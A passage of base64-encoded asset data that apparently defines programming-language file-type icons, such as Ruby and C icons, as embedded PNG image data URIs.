3FwWkdxTkZqT2w2SjZFeVRiU1hoMTBGSHZBeVl6eEltL3dmZnZLWHFzOHRjQmxJSk5tdzNhdGozRStkTlFGbjRDT0J6UER3QTJlZ0pvN3pjZ0xEZWh6cDBPMGk0R0lzc0NrWDVSZzFDcFZ3QWJtQVE2ZUNSZ3pZYWFzZ3kwNzBDUVYxcEFYZklwK0pHMHlnMkE5dW9IOXM0a1FIQ0lHOWRBR2pXVzBRRDg5eDFRMTMwUDVPZFZYZ0MwVXp6WXBCa0FwY1V4OGxZbWxCVkxJTTZkS2hFM0s5MFdvSzkxY1Rwdk1oVTV5bzhlaExwc0VWRGdmbmRZcVFEUW1DNWdreDl6UG5VWDFCVkx0YTFRbWxRYUFMUnJMN0J4VXdER1NzNzg0Z1VlbmE4MFdZRDJHd1NXTkJZZ3haVzd1SDBMeXF6SlFKNHoySG1Td0Y0QmhJQU9IQTQyYUxpYmY4cWkyUkQvSE5FdEZBTVhnS3p3eGs0RzdkSEh6VWwrOFN6VU9jbTZ6Z2Z1RnFnWkNkUEVaSkNXYlV0MVV2MzZNL0REKzU4eGdCb1JnTTBHMkFzTUtYN2FUclJOZTdEM1BnUWlhem1EbTN3dEZocGFQRnlCRFk0Snd3R0hNVHQ4dGdWSSs4NWd3OFpBWGI0WTR2TDVwL1hQNDNNa0xCeDAyTHVnQ1gyMFlDZHljeUIyYnRGaWdHdkJ3MDhmaHlvUFBBYkZad0JveHppd0tSOXJzOEwzL0FaMTYxcXRCaSt6TUFZYTN3dHMyR2lnUmsxdE9ISCtETlJsWDRCTm5BYlN2SFVKRlh6YlJtZXBhMUI4QmdCQlFhRGRlNE85bFFUSTdlQW9BTis3QytydWJjQ3RESVBtdUhRem0wRTdkUU1kTUF5a2ZnT240NG9EZk5OcThPMmJRRHQwQnBzNnkyMWNkZjBQNEwrc042elBkd0FLVllhR2dpVU8wWTZnQ0E0QmhJQTRleEw4angzZ0o0NldXbzRXV1N0bnUybHprSmhZMFBpZVJUT3VPWC84RU5SMUtSQ1c2MXFaYTE2NERLZ2I3WjRCVmkySHVuTkxPUUo0cEpxRTF3QVpNQlNzejREaVBjbzVST1pOaUN1WEFLdTEyTWhhVVNBdnZnUVMzUkF3bTR2L3I2cVFkVHpmc2FWRVhOSHEvVkptWHo2b3J2d1dmTS8yWncrQXZOd0NUSjY5WlVTT2lIVE92b3dCRVJHUU1BeUxkRHI5QW5Ba0RmendBWWpzTzI2UHN1bHpRTnQxS0hWSXZuazExTTN5MDJWajRyTXRVQlFFQy9VSytSbTFsMHRsZVU3Lzd3WWdvL250TE8xdmNlMnljNllMUEtjd1Vpc0twc1VyQWVKeTFIWHhsZS9iQlhYNUVtUGUrL1JHcUU0OWtBYU5JSzZtQXcrdGdLb0M1aUFnSkJpa1JpVFFxREZJazJhZ0hlTkJvbDV3QmpYTGRmQnRHOERUOW5rOXNMaDZvd1hhOFZNOU9zaFBIWWY2ZVRta1FjUElDZFV1S0dYK0pzMmFhNDlKby9rM0M3WGNyaWZzZzJtZ2NRbWV1OTNQaG1QeUtDMzRHaEdmYlFFanlrcjBrU0M2OVFJYk1WNkxHM0kxS0F0bTZkWU81cVVwUU0wb3IrcVVHUk9kMmNLQWxCK0FSOGFSaG8zQmttZURSTmFHeUxSQW1UL0RJd1FTR2diVGQvbzVubS84RWVxV3RRYmNyeUMzd3FSMkhaaG1mNmxsRDNsZHJjeExMbkYzWCtnSmFkd1Vwbm42QVU1azNJU1NQQ0Z3QUVoTFNZczJNTTJjcjkzb3FGdlhnVzlJY1hQQUxkTjRjVkdaTjFON0VhSW5aZDRDbHY1eGducExkM29XdUxTejRXTkIrdzBHN0hZNFBob0hXTytXZUZwV2wvSkZoeEdSbGFQeTVWeXZYYmtRYUxBOXJXemZCMXpwMjFtRXVOekFHakhPVXg5Wk1KbStXZ0dFaEVMOStTZndUU1YvaWtUZkhBbzJkSXd4RlVKQW1UTWQ0dEsvSHZ2TFQrcWE3anBVTmdESGVyektvOFBEZEYrakc3TWFvSy8zQTJuWlRudDk5Zmcya0Z1QWRPcG1kQ2lJNitsZUQwYVduQndSazNxaTlJcXFNRWpyYVV1TmJaa1ZIUjVldDNwUU5iMnVGYXI5Z2QyT2pJZTVtUWwvblhVL1VibFlxanV6cVoxYXJTRVVTWkdod1lnS0RvYXY0b0cvYU1sOWZ5L2ZocnMyR3dUSTZvU0RaMFo2MDZVTFlGOXNtellDL0tqOHdSWUJRYkNad2VTaFR2ZVhVMGJIVlFTSHphRkN5QTlyQlFvNEV4MTZwcDA3V3lZQTh1SFUyRlpKQUZaS0NFYU5LZGQrQWdVRVpFejNRMmZXNmRtaHV3SUtCM2kwRW1ZS0lJRUE5ZlVHTG85MkFXU0NrTDJDOEFWNk0xOW8zLzk5dms1dTV2ZkFaZ0FBQUFCSlJVNUVya0pnZ2c9PSIscnVieV9pY29uPSJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQkFDQVlBQUFDcWFYSGVBQUFBQVhOU1IwSUFyczRjNlFBQUczZEpSRUZVZUY3bG0zbHNuUGQ1NXovdjNNTTVTQTdGUzd3a1VxSmt5WmF0dzdZc09ZNHBYNG9jSjNXZGVoM0g3ZTdXUmJxYkJacEYwQzZ5YUJZb0ZtblNJZzNhUmRJOWlnRHBvZ0djUm1nU0J4dkxWbXdyVm14SmxteEx0a3haRjBWSzRqbmtrSE1mNzd6SDR2bk4rMUpqaGFJczIwMy82QXY4OE02OGM3M1A5L2srOTI4MC9wVWYyc2NsLzUrQlp4QVNGVmh0ZTcxckdxTFJ2bnloMEZvMmpLZ0dYZ3RLTnFRdG1ESmh6QU9UQVppZWhlU2ZnZlZ4M2NlTmZzOUhCdUJIa0xCaHB3RjdMTGpMSDRtc2lxMWFGVnZqOTN1MFdJekxrNU5NSlpOa0N3VU15MUtTMnFEYmtMZGh5b0tEd0M4c2VMMEUwNzlwTUQ0MEFDSzREeDZ6NE4rWnNBV2ZMOVRZMDBQRCt2WElsNjQrY29TdVQzNFNzN21aVEM3SDFNeU1BbU1tbVNSWEtGQzlBb2FBSW9DTWVPQ2dIL1pINGVnRVRQNG13TGhoQUg0RTNqRGNaOE4vdGVCdUUzemh0allTbXpkakpSS1lRT1gwYWRZZVAwN3Y0Q0RXWFhkaDJEWlYyMFkzRE1XRW1iazVwcWFtbUoyYkkzOFZHSUR1ZzlFSS9Db0d6L3ZncUJjbUgwZDk5Y2QrM0JBQXowSGNBMSsyNEQrYmtOQ0NRVnJ1dkpPR20yNVNndW1sRWpGTlkrTGdRVzVQSnVrS0JERHZ2eDg5a2FCcW1zb0VCQWdCUkRkTmNzVWlxZmw1a3Nrazg2a1VoVG93UEVBSTlEaGNETUtyMU1BNC9IR0Q4WUVCZUJIYWdiK3c0Q21sOWY1KzJoNTVCTlBuWStIeVpZeHFGWi9IUXppWDQvVExMM08vWWFnUFZGZXZ4dHl4QTcxYVZjSUw5ZFZ5Z0hEQktKVExwTk5wVXJPenBCY1dLRG8rd3dzMEFqR29lbUFNT0FTODRJRkRmaGovcU16NFFBQzhCbTFWK0s0Rm43UDlmaTJ4YXhmTkR6eEFiblNVL09TazBxeXNwa2lFMU1tVFRBd1A4eWtnQVpSOVByVDc3a052YmtiWDlTdkNPeUJjRFlnOEwxVXFaTE5aTXZQelpCY1dxSlJLaEV5VFppQllNd0lEdUFpOEJ1eTM0VkFQWEI2cVhiK2g0N29BSElDb0gvN2FoS2Y5TFMxYSsyYy9TNkMzbDh6WnMraWlKZEdrNDlEYUloSGUzTGNQSTV0bFQwMXJGQUdycHdmZnZmZFN6T1d1TUtBZUFJY1p5bGZVbTRsbFVhNVVLT2J6NUhNNXJJVUZvb1dDTWpQcmloTTFOTGlzd1dzV3ZHREQ0VDY0K0VIQldCWUFHN1FqOENjMmZEMHlNT0J2ZS9CQkJYRmhlaHJETkRIbGhoM2Jqc1ppbVBQekhIdnBKY0tnR0NEbmtyQkFUT1BoaDZuRzQ1UVdGbXFtVUM5c25Wa3NNa0pZcFduWXdTQkZUU005TThNT01hOWlrWml1czZHeGtWSzFTcTVTb2FEckZLdFZlVzVXYlh2Y3RPMURKanl2d3lFZlhQeERxRjZMRnNzQ2NCUStxZmw4LzlpMFlVTjc4N1p0aW9xVlloSFRvYnhMZlFHaWMvVnFUcjM0SWhkSFJvZ0FEd0VCQndBQmdkNWU0bzg5UnViY3Vaby9XTUlFQkV5NUxrSjdtcG9vQ00vSHh4azlmNTU3RnhiNHJhNHV4dGVzNGRtMzMyWmpLTVRkblozNE5VMTlScHpxdTFOVFhKcWZSeHlvQ2FZQkV4WWNNVFh0ZWRzMFg5Vmg3R293cmduQUVZZzN4R0xQTkcvY3VDZTJlalY2dWJ5b2JWZHdZWUdzWUNKQnJMV1Z3OS8vUHZseW1RYmdma0FjbUdLQXBsSHhlR2grOGtsWXNZTHNtVE9LU1FvRXc2QWlnQUJhWXlQZXRqWnl1czZGOTk1ajlNd1pVdGtzbTRDbmhWR2RuVmliTm5HaVVHRC8wYU5zYldyaTNwVXJsZk8xTlkyUm1SbEd4c2VWbnhEd2ZacW03a0d6YmRQdjlVNkZCZ2FldFc2OTlhc2I5KzdOdTR5NEpnQ1RhOVk4RlZxMTZudUI1dVpndFZKWmRIU0x3anNzRURhMDMza24weWRQOHQ1eno2RURVYStYZTJ3YmJKdUt6NGZ1OTFQMStmRDA5ZEg2cFMrUk9YYU15dng4elhlSXRqczZJSkZnTHBsazVPaFJMcDArelh5aG9NQmJBZndoMENtQWRYVmhyVnVIR1l0eFlHeU10OTU1aCsxdGJlenM2c0xyOTVOTXBiaDAvangrQndBQlFWWXdITVo3NjYyVWVucUczejF6WnRkdnYvTk9jbGtBampjMU5RMFl4bzlEZlgxRHBvU3hjQmdCb1ZvdUs0MjdqazhvNjJ0cG9YVm9pTGUrL1czbUwxMmlBa1EwamJ1RFFhV1ZhaWlFRVF4aStQMHFaRFkrOFFTQmRlc29uRGlCcjY4UEt4SWhmZTRjNDRjT01YWCtQUGxLaGRsU2lRVmR4N1p0dmdCc2x1eElhQzBBU0hJbGpGcXhncDhkT3NURStEZzdlM3ZaMXRkSE1adGw1dVJKL0phbEJKZmxiMi9IdnYxMnpNNU9abWRtaGcrLy9QTFFIK1h6czhzQ01OYmYvM0JpWm1adlE2RVExcU5SN0xWcjBXNitHU3NlVjVxcnpNMmhGNHZLSkJLN2R5djdlK2NiMzZCaW1ncUF1TmZMN2JFWU5EUmcrSHlZd1NCV0lJQWxMR2h2Si9HVnIyRGs4K1RlZUlPRk45NGdOejFOb1ZxbERLUkxKWks1SEhPbEVuZFVLdXkyYlZVL2lJa0lBSEl2d2pwUEpNSmNPTXhQbjM4ZXZWTGgzdlhyR1JDL2Nld1lQbDBuSU9GMzNUcjBUWnVVQW14ZDUrTFkyUEJMaHc0TmZST3VEWUI0L3JIZTN2L2RibGxmREkrUEsrUkZLQ01heFhQcnJRVHV1UWRQZHplVlpKSnlNa25UcHo3RnlIZS95OFQrL2VxOWh0ZExvcUdCbXlNUnRPWm1CWUF0UzI1Q0FGaXhBdCthTlZUT25FRjN3bUxaTkNsTC9EZE41dEpwSlh4VHNjZ0RoUUtCU2dWZFFxMkUwKzV1R0JoUXBpT09OOXpYeDhsMG1sL3UyMGRETU1pdURSdm9Pbk1HcnpCdjgyYkt2YjJLc1phdXEvWGV1WFBEUHo5OWV1ajd5d0Z3QnJxQ0hSMHZ0clczcncrLy9iWkNYd0JZQkNJU3dYZjc3VVFmZlpUUTl1MEtoT0hmLzMwS3M3TlVQUjYwY0poRU5NcEFKQUxDZ3BZV2JNTUF2eDl2UndlK3JWdlJ5bVgwTjk3QWRKeW9NRWYzK2NpazB5ems4eXFsM2xvb0VKZkhrbUpMQWlXYzdlcUMvbjRsdkppaEhRZ1EzYldML1QvL09hZVBIS0d6c1pIZHJhMzQxNituR0l0aFZTbzE0YXRWakVxRjQyZlBEdjlxY25KNUFFYmhJVzlyNjAvYk5tNE1CUThmQnJIOU9oQmNJTXlHQmdJN2QySjNkVEgxZ3grb1FrY2NtaThhcFRrV296c1N3WTVFOExTMm9zazVIc2UzZWJNNmEvazgxckZqNmdZRkJQRVRwVktKYkNwRnJseW1vMUNnVlFUUDU2bm04MVRrc1dsQ2R6ZWUxYXNYR1NCTUNLMWRpelUweEUrLzlqWFNrNU9zNmVoZzQrQWdnV2hVQ2U0Q0lEN3N0WkdSNFpQcDlQSUFYSUkvOWF4WThmWFdPKzRnY1BRbzl0eWNvcCtVWWlLOHV4UXJ2RjdDbi9rTXBlbHAwc2VPS2UzNzRuR2FZakhhb2xFUXdhTlIvRnUzNGxtMUNrOHdpT2IxZ3NjRGI3OE4yU3kyMTZ1QUsxMjhTSzVVd2xzczBsd29ZRHJDaTVsVVpKWEwwTk9EUjJodDI0b0ZpZ2tTS1o1NGdyRlVpcGYrL00reExZc0J2NS9Pamc0aXJhMTQ1ZnN0aTZLdTg4dVJrZUhoWW5Gbzc3Vk13QWJ2QlB6QTA5cjZoQURnTzM4ZTY4d1p4UUI3Q1JDTWhnWWFubnBLVVQxNzdCZ2xzYitHQmhwak1acWpVVFRSK3JwMU5jMjN0ME9wcEV5QnhrWTRmUnJTYVdocmd6Tm5NS2VtVktJVktCYXhKY1VXQUVUd2JKWnlOa3NwbjBmcjZsSUF1Q2FnenBhbGZtZmw3L3dPQi83Kzc1VXBTQWJhSmVFdkZDTFcxa1kwa1ZCT2R2KzVjOE9YZFAzYUFLUWdYb2I5M3JhMk8xZHMzb3czbjhjNGRFZzVJV0dBejZsQ1hET3cydG9JZis1ejJINi9RcjQ4T2twbGRKUm9LRVM4cVFuZnBrMTROMnpBR3dvcCtoS1AxMERvN0lTeE1mRDVJSk9wc1dGdURqdVR3YzduYTlyUDVaU1RGQUJLenBMUGVidTdheVlnOStLeXdMS0lyVnBGUTE4ZlAvdmU5OGhrc3pRNXRZaUU0bWhqSTNZMHlpdVRrOE56bHJVc0FOMVZlTVhiM3Q3ZmZQUE5lRUlocWkrL3JKeVNDQzBBeUhMTndCNFlJUGpnZzRwaXRqaEFudzhqbWNTYlRCSzk1UmE4R3pmaURZZVJ2Z0hOemJCeEl3UUNJSURvdXZJdkhEMEswOU9RU3NIVUZGWXF0UWpBb3ZheldRb0NWRnNiM3E2dVdpb3VqSFNjb1dzSzNZT0RUTS9NOE1xQkF5b0prMnBVa2lJNXNwckcyN1k5WElSbEFkaGd3Z0Z2UjBkYjA3cDFhTzN0VkE0ZG91S0VRMEZkS2p3eEJ3R0J6WnZ4YmRtQ0tWN2U2MFh6KzFWaUZCZ2N4Q3NtVUN5aWFScmFpaFUxcmZmMktyK2dmSUNtUWJGWVk4TG9LSnc3QjVjdVlVbUdXRWQvMFg0eGsxRUEyQkpDVjY2c1phVU9LK3RCa04vdkh4emswR3V2Y1Y2WUtEbUpwTUxBRFBBT0RKdkxBVEFMMnpSNDBkdlIwUmhmdXhZNk90REh4eWtkUHJ5b2RjbXU1RXQxVGNPemN5ZElObGV0S3MzNjE2MGp1R01IWGhGV0R0R3dDQ2xwc1ppQTJMdjRBSEdFY29obnYzQUIzbm9MSnFRTE9Ja3Q0VlRDbjJ2N2p2QTVod0cram80clVlQXFFQVNVV0ZNVExZa0UrMTk0Z1ZLeHVNZ0NhUjY4QzhQZTZ6Qmd1d2EvOEhaMlJxUDkvVmpOelpqeE9QbG5ubEYrUUNVNlRxTWpLSUxjY3c5MlBJNGREdVBmdnAzQTVzMHE1Q250aXBDeXhNN2x2UklWSkMrUXg4SUFGNEJrRW80ZlY0NlE4WEhGZ0txWVhMbE1SZGZWS2t2QkpDMjAyVmtzK2M1UUNOUGplWjhKdUV3UUVMcDdlc2pNelhIczZGRlZtQWxyVHdQdk9RellkNjBva0lIdHRnTkFXR29Bc2QxdDI4aiszZDlSem1RVzh3R3hxODVJQks4d29MOGZuMmhkNkMzQ2luQnVxSE9GRDRkQmxvQWc5aS92RVZZSVEwU3orVHhjdmx6ekFlV3l5ZzFVa2lRSmpLNnJsUnNmNThJUGYwZ3BsMVBmNDQzSGxabEpNaVRKbXFwUEhLY28vbWgxVHc4bjMzeVQ1UFMwWXNIYndIa1k5c0RRTlFFb3dEWlRUR0RseWtaL1g1OUMyUFBRUTJULzZaOG92dnZ1b2hsSXh0ZXhhaFd0VHo2Skpsb1g0ZVJ3TlM2Q1g3MEVUQWwvQW9BOEZyT1IyRDQzVnpNVGlRN0ZZZzJBVWdteldNU1Fla01hcFlVQ2wxOThrWW5EaDVVU1pLblVPQkRBSzVscExLYkNyL3ltaWc2V3BTckE1bkNZdDQ4ZXhhL3JISy8xMElhRHl3R1FndzBhSFBDc1hObm03ZW5CTUF5OER6eEFjWFNVN0k5L2pMMXFGVnAvUDNaTEMrSHVidHEyYjFkT1R0bXlDQy8wcmhlODNneEVhSGxOb29BQUlWb1g1eW5DU3o1UUtHQ0w4SklkU3RWWktpa0E1Snk3ZkptemUvZVNTNmNYaFhlQlVFV1NkSTdFQjBVaStLTlJmS0dRaWtweEtkNVNLU1pIUmpnR0pHSFlncUZmWGNzRWl0QU52S0oxZGZVajNyWmFSZHV5QmQrblAwMWxaQVRUNjBWZldFRFBaQWcyTk5CNjIyMDFBSVRPY3I1YWVIbnVzc0kxRGRjZmlNWXRxMllHQ3d2WW9uMWRWOEs3QUZTRkFjVWlsdzRjNE5LUkkrL1RmajBUM2dlR3g2TXl6a0FrUWlnU1VXbjU3TmdZQi9ONVVqRHNXdzRBR3hyTDhBdXRxK3QyeS9HMmt1MTVkKzlXZHFpbjA1aGlsNFpCSUJpazQvYmIwVng3dnBZSnVDeW9QNHNaaVBZRk9NTlFDWkNWeVN4cVh3QVFSeWphejQ2UGMvclpaOG1tMDdVdWtrUC9wUUJ3WDNkZkV4WTBORFNROFBrNG5zbHd3YmFWQ1Z5VEFUYjREUGlSMmRYMXFOSFdwa3JKNHZpNEdtLzVoNGFVQjVhWTc4NEF1dTY2cXdhQUhFdXhZQ2xmNERMQ2ZiK3dJSmZERU8rZnpTb1FSSEFCUUxRL2R2QWdsOTU2YTFIN3l3R2d6TUdKKytLb0czdytFazFOTkFRQ25KaVo0YkJwRHVzd2RIeTVjcmdLM3pTN3VyNWFiVzJsa2s1VGRMbzgvbTNiOEcvY3FBQ282anArajRmdUhUdXVNRUFFa2tNQUVacUxyY3ZaWFM0WUxoUEVaR1NKS1dTenFqSXN6YzdXV3UyT0Q4aE1USEJxM3o3eWtwSTcybDhLQUlrQ29nYTNGU2JuVURCSWMzczdockN0VXVIYzVjdThiRm5EMmVzQllNQ1RSbmYzUDVSak1VL3g0a1hWQlZieFB4UWl2SE1uM3RaVzFScVRWS2J2RTU5NHZ3OFFnUVFBRVZhY1hqMElyajl3UTZTY3hRd2tDb2dma0c1U0xrYzJtVnpVL3NqaHc0eWZPclVrN1FWdXVRZFhhSGtzSU1oMWZ6aE02OEFBMG1pUjlyczQyUEh4Y1E3WTl2RGs5UUN3WVZPNXArZkZmS1hTV3BLYnFXdUdTT015ZXNjZHFpZm5zU3o2NzcyM1Z0NjZncnZDTGNXQ2VnYTRqbE9TSUlrR1lnYW1pVjJ0a3A2ZFZST2h6TlFVcDE1NWhZTDRBb2ZheXMwNFFrdE40dVNUU21oM1NSOWc1YVpOaWpVVkFWYlRNSE01cGljbmVkMjJoMStIb2ZQTHRzUVNpWGpPNTl1WG41L2ZVUkc2WDlVSGtLbFFhUFZxL0Q0ZmErNjc3MHBtVjU4QXVZL2RSS2orTEk4bC9zL01LTnRYd3NzU05vakdTaVVtSnljNWRlUUlVNk9qS285M2l6RFY0bmFLbTNxaDVaS1lRVEFlcC9ldXU4aWtVcXBCcWhRanBpUE4wcWtwaG1GNC8vVUFrQThVVjYvK1ZuVm01bzhsbDViUmxpeHBXRW9UcE9yMUV1cnVwcm0zbDhFOWUybzByOWU4YStNdUNQWHBzTnlRWkg2VGs3WDRyKzY4cHYzRlpkdk1wOU9jZVBWVjlMbTVXbWlVdHBiall4eFA4ejZ0eTdWZ1l5T3JkKzFTRXlSSm1VVjQ5NzJWVElhWm1Sa3V3ZkR6MXpNQjVkQnZ1ZVYrNHZHZjJ1KzlGNUZ4bC9nQW1TUmtuSlhYTk5xMmJHSEQ0NDlmU1czcmJmdnEwQ2RDaXVDaTlZV0ZtckN1R2NocnpnekJQY3NvYkZ4eWtGUktsY2ZTR2hOZlZCU25MT0d3V2wwVVRnbmYxRVQvUXcrUm5wNG1JK0NLOEs1VGxsRmVPazF5ZGxaYXdjT3ZMWmNKT3V5U0wwK3djZU56Yk5od0o0Y09xVXBON05CdGhNaklLcmh6Snl2MjdFRnJhcnFTLzlkbmZzSUFxZm5GeVluZ1Fra1IzQTJaN3RtOVVSY0VZWnpzTVpEUFMzL2ZzdkJKaXl5WFV3N1g0L2RUenVWVS95ODdQYTJlcjM3d1FUS3pzOHhmdktqdVJZU3ZCeUMzc01DTTlCdGgrTWh5MWFBTGdMbzNqK2RQMmJuejY5eDBFOVl2ZjBuMTNMbmFRRk1pZ3M5SDZORkhrWG9oMU5OVEszSmM3eThnQ0wybHlTSExkWEtMNkRyRXJCTjRrUUVPS0FMQXROUExFOUNrelMyeFhCNlhVaWs4aGtHc293Ti9RNE82cCtUb0tIUFNWM0JZcFg1QlFIQitNeTJiTUJZV1pOSTBmQmFHdnJPY0U2eGp3UzFFSXZ2WXM2Zkxrbmg2NUFqbEV5ZHEzZC9tWm1KZi9LTHExa2FrNmJsK2ZjMFhGQXExcXM2MThYcnRMcVh4YTdDZzVQR1E5UGxVcDBsbGlzSWNLWENpVWFMU0ZmWjZTWjg4cVhvSDB2SktKNU0xWVIyaGxmYnJBRWlsVXN4bU11TEhoaS9BcnI5U1pVSHR1T1pzVUJxa3dQOWs1Y292bW52MllEYzJVaDBaSWYvQ0MyZ0RBOFMvL0dWeUowN2dLWmRwbEk2djNLdzBOd1NFZW0wdlFmR3JOYTZlMTRGUjlucVpsVDZqNHh3WHo1S0F0YmZUK3ZuUHExQjg4VHZmSVgvbWpHcmR2VTlveHdSY1VHYm01OVdRVlllM0xzRDlmd0VMMXdWQTNRL3NCSjYxdG14cHFkNTVweHB5U0x0S1BITDRrVWRJLytRbkdNSUNYU2NtdEJjUVBxTHdBb2JzS3BrUEJLNEFJQ0ZTc3J1YmI2YmhqanNvbkRyRjdONjlsTTZmVjIxM243VGNITWUzeUFRM2F0ZzJrNmtVcVh4ZTVQbUZEWi81OTdXZ3Rqd0RIQUFrMGZwZkJJTlA2N3QyVWUzdFJldnNKUERJSTZyenMvQzNmMHMxbFZJZDRVU2hRRWhxL0d2UStrYXV5MFE1TGFNMFlVQzFpcWU1bVpBa1lLYkovRTkrUWtFbVZnNG9ZZ0srUkFLdmRIN3JoSzRINHZMY0hQUFNib2U5SWZoOC9iNmk2MjZSc1dFcjhET3J0WFZsK2I3N2tPcFE2KzBsTURSRTVkUXBpa2VQcXZhMXYxcWxOWi9IVngvV2JnU011dmZLT0QwcnFiVE05L3Y2ME5yYUtCdzVvcFkwVEJ6bExPWUNrb2Y0WkFJbGpabTZDQ0NBQ0Z2SDV1YlUwTldHN3p3RmYzU0Zwc3Y0Z0VVbTE5N3ozNEd2NlJzMlVKSlJzeVJHeWFRYW00Y0dCekhUYVRVc2pXU3p0RWduK0VQWWZUMURCSUJDU3d0YVN3djY5RFFsbVNOS0dIVlMzbDhEUUM0RUFnb0VxVVBxbVNBQWpFaDZMV2t4Zk9YejhOYzNCSUR6WXpKbytiSHQ5OTlSM0xHRGNsOGYxWVVGWmw5NlNlM2pFUkJDblowS3FSV1pERkdwOEZ5TjNnZ0xIT0Fxa1FoNVNZdkh4akFsY2FyTDlaZktCTjNYTmVsZEpCS0xXYUFBSVRPRXMzTnpzdXVrWXNPalQ4QytHd2JBK1lIUEF2L1hiRzV1ekg3aUUxUWpFZVpmZjUzTWhRc3FON0Q4ZnZ5dHJUUzF0RERnOVJJUWYzQzlNRmovdXBpT3owZTF2WjJjTU9EZGR6Rmx5T0lVUFVzVlBtNDlVQStRcDdFUlR5eTJHQlpsRzg3cHVUa1pqVjIyWU5manFqZDY1Yml1RDZnekJhbEp2Z0g4Y2JtL1g4dHUzVXBldHJ2S3pFREcyMDZtR1BCNDJIN2JiVVQ2K21yNWdQVDdyZ2VHVEpZYUd6RUdCcFRtWlJJbHM0SGk4TEJxaUlxZzh1T3k5eWZrUEpZYmwrdHUzRmtFUTFwaWtwMDYva0RhNmFkU0tVcUdzUzhEdjEwZkFVUzJEd3lBZzNJYjhBKzIxL3RnZHNzV3NoMGR6THo2S3ZtRkJaVXFpNVd0OVBtNFRSemxZNC9WK2dLU0NrdlpLMmZKRWVyVFlhY3JaRWx5czJZTkJlazNTcGgxTmtESVRwU0NaS0RTaGFycjlnZ1EwdXVYM1dqeTJPMERPRHZSMWU5SzVKQm1qTXdVM2sybFpLN3dYejRMMzZyWC9nMEQ0SUJ3Ry9DTUVZMnVuOXUrbmVURUJLbjMzbE1Na09Sa2N6aE1oK1FFbXpiQjd0MDFGdFIzZjZWU0UxWlVLbXBnYWQ5MkcyWjNOL214TVRVUUZRY3JkcXRBa0Ywams1TVV4c2RyVzJ1ZGZxQUxocGlGZ0NDRFVObEZLczE1dWFiWTRHeTFFMGE5T3o4L1U3U3MzWS9DaVk4TWdBUEN3OEQzaXQzZEhSTzl2WXkvOFFZbFhTY2VESEtIZEdURlkwdE44SVV2cU4xZmF2N24xdndDaHV6Y3VId1pQUjVYMjI2a2V5VDlQeG1IU1ZkSWJjWXlqTm9lQU1NZ2YvRWl4WVdGV3MrL2JybnRNWGR5TFNNN29XaXI3RlNUeGtra29zTHBjRHI5ai9PVzlYdVBPeVBORCtVRDZqOGtUWERnZDIyUDUyL20xcTl2UGpzL3IwclJ3ZVptMW9xQTB1aVFRL1lFZk9sTHRiR1htSURFZGlseUxsekFQSHRXN1FrdVNjWVhpNmtCcXJUYnhIN05RRUJ0ZkpMcHNQZ0FNWXZNeFl1VXBXVitGUWhYZDRyRkRDUjdTMmdhM1I0UFRjRmdmcUpTZWZ4ZTAzeWY5M2ZsdVNFZmNCVUl3clkvTUNLUnZ6eXpZa1hqMU9Ra2Q3YTFFWnVmcnpVNjNXUEhEbmo0WVZVWldsTExIenlJZWVuUzR1NE90OUhpYWxhaWljd1FaVE9WUi9ZWHlSeXdXcVdZVExJd09xcUtNUW05YWpaWXR5eVBCMWx5VFoybGdqUU1XaXFWdlUzbDhyL2RVZHV6K1d2SGh3YkFNUVVCNGVsVVBQN04yVkFvTVNpVWxpbXZzTUFaZ1N1QkhuOWMxZlBWNTU1VHRZU3k4N3FsT2sxTGFGYU52eVN4a2JGWE9LeXFRQm5PaUhEaWIrU3N2c2VkRWp0amMwbWhwVGFKRlFwVFBzTjQ3RjQ0dkpUd0g4b0pYdjFGTm5oTXIvZmZtRDA5M3dyMDkzZXA1cWF6U1ZKdVVpZ3BRcGdURStqbnppMEpnQWh4TlFEMVZGZjlmc2t0dXJ2VmQ2c05FazZTNDI2WmM2L0pIc0htWEk1SXBXTFl0djNmN29hL2xOblZQeHNBaTNsQ1krTXV1NkhoMjZaaDNHWjFkbUozZENndnIwQnd2YnJNL1M5Y29DSWRKdW4xWGNVRU5lVjFydFU3TzhXRVVJakF5cFUxcmRjQjRENlczNUFNTkpIUDQ1Y2VBanpqZy8rNHJkYkp1K2J4a1V6ZzE5Z1FEQTRhbGNyWERmZ3RQUlR5RzJMRGtpSW5Fa3B6aWcyUzRrcGlJa0NrVW92L05SQXczS1JtS1Vjbkc2bGw5OGxTd251clZWcnllZUpTS05YTTRVVVBQTDBONllNdWYzeXNBRGgrUWFMUkg1andGUjI2cEx0VGprU1FVWnZzRUpHLzBra2trRTV2ZVdxS2dreWU2dnlDSkRWeVUxY3pRQW9kMlI2cktPOHdRTUNNbHN1cUNnMUtwNnJHbnBkcytBOWJyMHA1LzlsTllJa3dLV1gwbndDZk5xQkJYSERPNTZQUTFJUWhwV3NpZ1NZZXZsUWlQejZ1MHVxcWJHeXNTM1ZkRUpUOXQ3V3ByYmF1OE5JWEZNR2JTeVZWZlpxeUxRRDI2dkRWRDZMNWp4d0dyMGN0aHcyeVEyVTM4SitvZFplQ2tqRVdwSThYREpLWGY1TkpOeWNhVmZFK096RkJZWDVlQ1NrNXZ4eXFGeFFLNFhmK2tpZXZSU3NWT3ZKNUdoekFUSmkwNEcvODhIL1dRcTF1L29ESHgyNENTLzJ1ak4yQkJ5VjVBdTZXek5YZGFaYjFlSmlQUk1pMXRGQ0p4U2dVaXlxcGtzMFJZYWV4NlpVZElMTHJ6RFJwazIyMHBaTHFRY3Ewd1lEL1o4SC9HSVEzdFEveEY5emZDQUNMa2FLV3J0OEtTQ3A5SDNDVC9Ddk9BazBTb296Znozdzh6bnhEQThsU1NXMlBDeGdHNGFZbWhlQksrY09VcmxjdEdCTkhaOEFQVFhoOWJhME8rMURIYnhTQXEveUV5RFFJYkxIZ1ZnM1cydEJoeUc1VlRRdW1ReUh2aE05bnpsU3I1UTZ2TjkxYkxsOE9tcWJzOHp0aXdKc3JZVkkyNTN3b3Flcys5QzhHd0JKT1U5alJXS245TzFWOGgxOEgvVkl3V0VoVUtwbDJ5R2dmUWRQWEF1ci9BL0pCNlRFSEpvbXBBQUFBQUVsRlRrU3VRbUNDIixjX2ljb249ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFCQUNBWUFBQUNxYVhIZUFBQUFBWE5TUjBJQXJzNGM2UUFBRVJ4SlJFRlVlRjdOVzF0d0ZGVWEvak16bVdSeXY4eE1JQUZCTXdpSXVyV2dTMlJodDNEejRvcysreUo0QTRJK2JKV0t